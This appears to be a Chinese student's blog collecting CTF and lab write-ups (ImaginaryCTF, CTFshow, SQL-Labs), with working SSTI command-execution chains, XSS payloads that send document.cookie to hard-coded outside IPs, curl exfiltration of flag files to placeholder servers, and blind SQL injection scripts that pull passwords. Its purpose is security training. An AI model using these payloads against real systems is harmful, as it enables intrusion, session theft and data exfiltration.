+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+…

js f*ck 控制台 console.log()输出得到flag

SaaS

Sed as a Service! (imaginaryctf.org)

考 sed

backend?query=%271p%27+fla*

Destructoid

https://destructoid.chal.imaginaryctf.org

传参得到源码?source=123

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


<?php
$printflag = false;

class X {
 function __construct($cleanup) {
 if ($cleanup === "flag") {
 echo "NO1";
 }
 $this->cleanup = $cleanup;
 }
 function __destruct() {
 global $printflag;
 if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
 echo "NO2";
 }
 include $this->cleanup . ".php";
 if ($printflag) {
 echo $FLAG . "\n";
 }
 }
}

class Y {
 function __construct($s) {
 $this->secret=$s;
 }
 function __wakeup() {
 echo "wake\n";
 echo $this->secret . "\n";
 }
 function __toString() {
 global $printflag;
 echo "tostring";
 $printflag = true;
 return (new X($this->secret))->cleanup;
 }
}
$a=new X("flag");
$b=new Y($a);
$c=new Y($b);
echo serialize($c);

Chicken Caesar Salad

凯撒密码移几位试试就行

Build-A-Website

Build-A-Website version 1.42.69 (imaginaryctf.org)

考ssti 靠！

<pre>
{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[182].__init__['__glob'+'als__']['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}
</pre>

然后cat flag.txt就行了 ictf{:rooYay::rooPOG::rooHappy:_:rooooooooooooooooooooooooooo:}

Sinking Calculator

不会

Calculator (imaginaryctf.org)

同样的SSTI注入限制了长度

curl “https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.globals.builtins%5B%27eval%27%5D%28request.data%29" -X GET –data-raw “import(‘os’).system(‘curl http://YOUR_SERVER -F f=@flag’)”

1.class(g.pop.globals.builtins.open(“flag”,”rb”).read().hex(),16)

Awkward_Bypass

https://awkward-bypass.chal.imaginaryctf.org

考察sql注入 sqlite3 sqlite3还不太会，日后必学脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


import requests
import time
url = "https://awkward-bypass.chal.imaginaryctf.org/user"

result=""
for i in range(1,1290):
 head=31
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # s="1' union select 1,2 where unicode(substr((SELECT tbl_name FROM sqlite_master WHERE type = 'table'),{},1))>{} and ''='".format(i,mid)#爆表
 # s="' union select 1,2 where unicode(substr((SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'),{},1))>{} and ''='".format(i,mid)
 s="' union select 1,2 where unicode(substr((SELECT group_concat(password) FROM users),{},1))>{} and ''='".format(i,mid)
 
 s="WITH".join(s)
 data={"username": 1,"password": s}
 # print(data)
 # data={"uname": "1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 
 r=requests.post(url=url,data=data)
 print(head,tail)
 if "502" in r.text:
 continue
 print(r.text)
 if "Ummmmmmm, did you expect a flag to be here?" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=31:
 result+=chr(head)
 # print(result)
 else:
 break
 
 print(result)

总结：tcl

CTFshow 刷题记录

Tue, 10 Aug 2021 00:00:00 +0000

CTFshow 刷题记录

刷题整理…待补充

1

变量覆盖函数

extract()
parse_str()

读取变量

get_defined_vars
超全局变量
implode — 将一个一维数组的值转化为字符串
$_GLOBALS

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞，导致了正则过滤被绕过,所以可以使用%00截断正则匹配

异常处理类

Exception
ReflectionClass

getchwd() 函数返回当前工作目录。
FilesystemIterator(getcwd)

伪协议

//支持伪协议
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
****compress.zlib://flag.php
//传入一个伪协议时 is_file返回false 不影响file_get_content highlight_file
php://filter/read=string.rot13/resource=flag.php

未解

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
//目录溢出

在num加空格绕过is_numeric()
%20 %09 %0c
trim — 去除字符串首尾处的空白字符（或者其他字符）
" " (ASCII 32 (0x20))，普通空格符。
"\t" (ASCII 9 (0x09))，制表符。
"\n" (ASCII 10 (0x0A))，换行符。
"\r" (ASCII 13 (0x0D))，回车符。
"\0" (ASCII 0 (0x00))，空字节符。
"\x0B" (ASCII 11 (0x0B))，垂直制表符。

2

1
2
3
4
5
6


if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}

preg_match不匹配数组，传入num[]=1

在线进制转换 (oschina.net)

1
2
3
4
5
6
7
8


if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}

进制绕过 16进制，8进制，空格加八进制小数点科学计数法

php7以后传参的十六进制会解析为字符串这里intval会强制转换

3

(26条消息) PHP正则表达式 /i, /s, /x,/u, /U, /A, /D, /S等模式修饰符_cjsyr_cjsyr的专栏-CSDN博客_php 正则u

1
2
3
4
5
6
7
8


if(preg_match('/^php$/im', $a)){
 if(preg_match('/^php$/i', $a)){
 echo 'hacker';
 }
 else{
 echo $flag;
 }
}

/im 匹配多行 /i 匹配单行传入a%0aphp %0a -> \n

4

md5查看博客MD5 – Staryのblog

sha1比较

GET V2[]=1
POST V1[]=2
sha1(Array[])=NULL

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

5

1
2
3
4
5


include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

没关报错，用报错把flag爆出来

6

1
2
3
4
5
6


for ($i=36; $i < 0x36d; $i++) { 
 array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
 file_put_contents($_GET['n'], $_POST['content']);
}

in_array弱比较？？

14.php也可以。。。

7

PHP运算符优先级一览表 (biancheng.net)

先赋值再and

1
2


$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
$v0=is_numeric($v1);

8

反射类ReflectionClass 类报告了一个类的有关信息。

1

echo new Reflectionclass

9

hex2bin(5044383959474e6864434171594473)=PD89YGNhdCAqYDs
base64-decode(PD89YGNhdCAqYDs)='<?=`cat *`;'

ctfshow命令执行

搜索引擎http://helosec.com/ 正则解释https://regexper.com/

web31

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
}

过滤 flag system php cat sort shell . 空格 ’

payload:?c=eval($_GET[1]);&1=system(“cat flag.php”);

官方wp show_source(next(array_reverse(scandir(pos(localeconv()))))); array_reverse：以相反的元素顺序返回数组 scandir：列出指定路径中的文件和目录 pos？？？ localeconv() 函数返回一包含本地数字及货币格式信息的数组。？？？？？

web32

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
}

payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php include：利用文件包含 php伪协议：php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件 base64在线解码：https://base64.us/

官方wp：c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.base64 encode/resource=flag.php ?>代替分号

web33

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
} 

过滤 “flag” “system” “php” “cat” “sort” “shell” “.” “ ” “’” “`” “echo” “;” “(” “”” payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php include：利用文件包含 php伪协议：php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件 base64在线解码：https://base64.us/

官方wp：c=?>&1=php://filter/read=convert.base64- encode/resource=flag.php ?><?干啥用？？？？？

web34

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
}

payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 官方wp：c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

。。。。。一模一样

web36

过滤数字把上面的1换成a

web 37

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag/i", $c)){
 include($c);
 echo $flag;
 
 }
 
}else{
 highlight_file(__FILE__);
}

data伪协议 payload:?c=data://text/plain, POST A=cat flag.php 官方wp：data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

过滤php 把 POST A=cat flag.php

web39

如上 hint：data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么作用

web40

1
2
3
4
5
6
7
8
9


<?php
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
 eval($c);
 } 
}else{
 highlight_file(__FILE__);
}

过滤的中文括号读取当前文件夹文件：?c=print_r(scandir(pos(localeconv()))); payload：?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv()：返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos()：返回数组中当前元素的值 scandir()：获取目录下的文件 array_reverse()：将数组逆序排列 next()：函数将内部指针指向下一元素，并输出

官方wp： show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃通过cookie获得参数进行命令执行 c=session_start();system(session_id()); passid=ls

web41

不会来个大佬教我！！！

web42

payload：c=ls;%0a也行||也行 ;执行多个命令

web43

; cat 过滤用%0a 和 tac 等等

web44

; cat flag过滤用%0a 和 tac fla?.php fla*.php fl\ag.php等等

web45

过滤空格 echo$IFStac$IFS*%0A payload：/?c=tac${IFS}fla?.php%0a system中 ${IFS}代替空格

web46 web47 web48 web 49 web50

tac|more|less|curl|nl|tail|sort|strings读取

过滤了$ %09代替 /?c=tac%09fla?.php%0a（web50过滤%09） nl<fla’’g.php||（查看源码）

web51

过滤$,nl 用nl${IFS}fla’’g.php||

ctfshow ssti

361

猜测参数是name

payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
 {% for b in c.__init__.__globals__.values() %}
 {% if b.__class__ == {}.__class__ %}
 {% if 'eval' in b.keys() %}
 {{ b['eval']('__import__("os").popen("id").read()') }}
 {% endif %}
 {% endif %}
 {% endfor %}
{% endif %}
{% endfor %}

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}

执行任意命令

362

上面一个可以过

363

1

{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[182].__init__['__glob'+'als__']['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}

363

过滤引号

?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.arg1](request.args.arg2).read()}}&arg1=popen&arg2=cat /flag

364

过滤args

?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.x1](request.cookies.x2).read()}}

cookies:x1=popen;x2=cat /flag

365

过滤方括号

?name={{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(request.cookies.arg2).read()}}

cookie:arg2=cat /flag

366–367

?name={{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}}



Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('cat /flag').read()

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}

368

?name={%print((x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5))%}

Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('cat /flag').read()

369

(89条消息) SSTI模板注入绕过（进阶篇）_羽的博客-CSDN博客_ssti绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}


s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

ctfshow xss

基本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<script>
var img=document.createElement("img"); img.src="http://47.106.248.56/123.php?1="+document.cookie;
</script>

<script>window.open('http://ip/php/123.php?1='+document.cookie)</script>

<script>window.location.href='http://ip/php/123.php?1='+document.cookie</script>

<script>location.href='http://47.106.248.56/123.php?1='+document.cookie</script>

<input onfocus="window.open('http://47.106.248.56/123.php?1='+document.cookie)" autofocus>

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
 
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body onload="window.open('http://47.106.248.56/123.php?'+document.cookie)">

320

1

<body/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)">

321

1

<iframe/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)"></iframe>

322

1

<body/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)">

329

<script>window.open('http://ip/php/123.php?1='+document.getElementsByTagName('html')[0].innerHTML</script>

330

var img = new Image();
img.src = "http://ip/php/123.php?1="+document.querySelector('#top > div.layui-container').tex tContent;
document.body.append(img);

<script src="http://ip/php/xss.js"></script>

<script>window.open('http://ip/php/123.php?1='+document.querySelector('#top > div.layui-container').textContent)</script>

331

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


var httpRequest = new XMLHttpRequest();//第一步：创建需要的对象
httpRequest.open('POST', 'url', true); //第二步：打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注：post方式必须设置请求头（在建立连接后设置请求头）
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口，可将请求成功后要执行的程序写在其中
 if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
 var json = httpRequest.responseText;//获取到服务端返回的数据
 console.log(json);
 }
};


<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/amount.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('u=123&a=100000');</script>

<script>window.open('http://ip/php/123.php?1='+document.querySelector('#top > div.layui-container').textContent)</script>

332

<script src=http:********111.js></script>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$.ajax({
 url: "http://127.0.0.1/api/amount.php",
 method: "POST",
 data:{
 'u':'123',
 'a':10000
 },
 cache: false,
 success: function(res){
 
 }});

XMLHttpRequest—必知必会 - 简书 (jianshu.com)

xss其他标签下的js用法总结大全 - Hookjoy - 博客园 (cnblogs.com)

Ctfshow Misc

作者 STARY

所用工具 binwalk foremost exiftool bpgviewer tweakpng zsteg

1

直接给了

2

打开txt文件一堆乱码

搜索flag未果

改文件格式为.jpg得到flag

010查看文件头png。。。没差

3

用bpgviewer打开

4

改后缀拼起来就是

5

010打开在最后几行

6

010打开找的到

7

010搜素ctfshow

8

binwalk和foremost分离得到图片flag

CTF中图片隐藏文件分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)

9

010搜索

10

binwalk分解得到文件

打开就是

11

tweakpng删除第一个IDAT块得到新图片

IDAT？

12

删IDAT块。。有什么讲究吗

13

这地方像flag

每两中间有个多余的

python删掉发现flag不对

看了wp发现16进制的不一样。。。。。wtm？？

14

binwalk查看

手动分离jpg

分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)

15

010打开

16

binwalk分离，flag在DD4这个文件里，具体原理还不清楚

17

看wp 需要先用zsteg提取数据，然后再用binwalk分离，最后得到一张png即为flag

zsteg 17.png

zsteg -E ‘extradata:0’ misc17.png > 17.tmp

binwalk 17.png -e

(27条消息) 隐写工具zsteg安装和使用方法_丶没胡子的猫-CSDN博客_zsteg安装

18

拼接一下

用exiftool工具读

19

用exiftool工具读

20

exif

西替爱抚秀大括号西九七九六四必一诶易西爱抚零六易一弟七九西二一弟弟诶弟五九三易四二大括号

SQL-Labs 刷题记录

Tue, 20 Jul 2021 00:00:00 +0000

SQL-Labs 刷题记录

注：本文脚本需要根据自身情况修改

第一关

?id=1’ or 1=1 %23 //字符型注入 ?id=1’ or 1=1 union select 1,2,3,4%23 //报错字段为3 ?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //爆全部库库名 challenges,ctftraining,information_schema,mysql,performance_schema,security,test ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘ctftraining’%23 //查库 ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘flag’%23 //查水表 ?id=-1’ union select 1,2,flag from ctftraining.flag%23 //跨库查询

第二关

?id=1’ or 1=1 # 报错’ or 1=1 LIMIT 0,1 考虑数字型注入 ?id=1 or 1=1 //成功为数字型注入 ?id=-1 union select 1,2,flag from ctftraining.flag%23 接下来的步骤和第一关一样

第三关

?id=1’)or 1=1 # //接下来应该一样 ?id=-1’) union select 1,2,flag from ctftraining.flag%23

第四关

?id=1“)or 1=1 # //接下来应该一样 ?id=-1”) union select 1,2,flag from ctftraining.flag%23

第五关

报错注入也行 ?id=2’and 1=1 %23 ?id=2’and 1=2 %23无回显

贴上我的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
import time
url = "http://46be5e92-e82c-4f5b-a5b9-5a6fa17b8493.node4.buuoj.cn/Less-5/?id=2 'and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="if(ascii(substr(database(),{},1))>{},1,0) %23".format(i,mid) #查所在库
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) %23".format(i,mid) #查全部库
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) %23".format(i,mid) #查水表名
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) %23".format(i,mid) #查水表
 payload="if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) %23".format(i,mid) #爆flag
 # print(url+payload)
 r=requests.get(url+payload)
 # print(r.text)
 time.sleep(1) #buu蛋疼的限制所限制
 if "You are in..........." in r.text:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第六关

脚本中url的 ‘ 改 \“ 就行了

第七关

到第一关查路径先 ?id=-1’union select 1,@@basedir,@@datadir %23 Your Login name:/usr Your Password:/var/lib/mysql/ emmmm网站路径写不进去？？？？上面那个貌似不是路径记录一下还没写出来语句是union select 1,2,’‘into outfile ‘路径’

第八关

第五个脚本可以用

第九关

判断闭合 and if(1=2,1,sleep(10)) # 看刷新时间一般闭合为 ‘ “ ‘) “)多试试加括号。。。应该是这样时间盲注贴给脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-9/?id=2 'and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload="if(ascii(substr(database(),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select flag from ctftraining.flag),{},1))>{},sleep(1),0) %23".format(i,mid)
 # print(url+payload)
 start_time=time.time()
 r=requests.get(url+payload)
 #print(r.text)
 if time.time()-start_time>=1:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第十关

把上面payload的’改为"

第十一关

跟第一关一样，只是改了请求方式字段改了为2 其中%23改为# 不需要编码了 -1’ union select 1,flag from ctftraining.flag #

第十二关

跟第十一关一样，把’改为”) -1”) union select 1,flag from ctftraining.flag#

第十三关

post类型盲注，还好学了一丢丢爬虫这边贴个脚本。。。在前几个脚本基础上做的修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-13/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # data={"uname": "1') or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 data={"uname": "1') or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 
 r=requests.post(url=url,data=data)
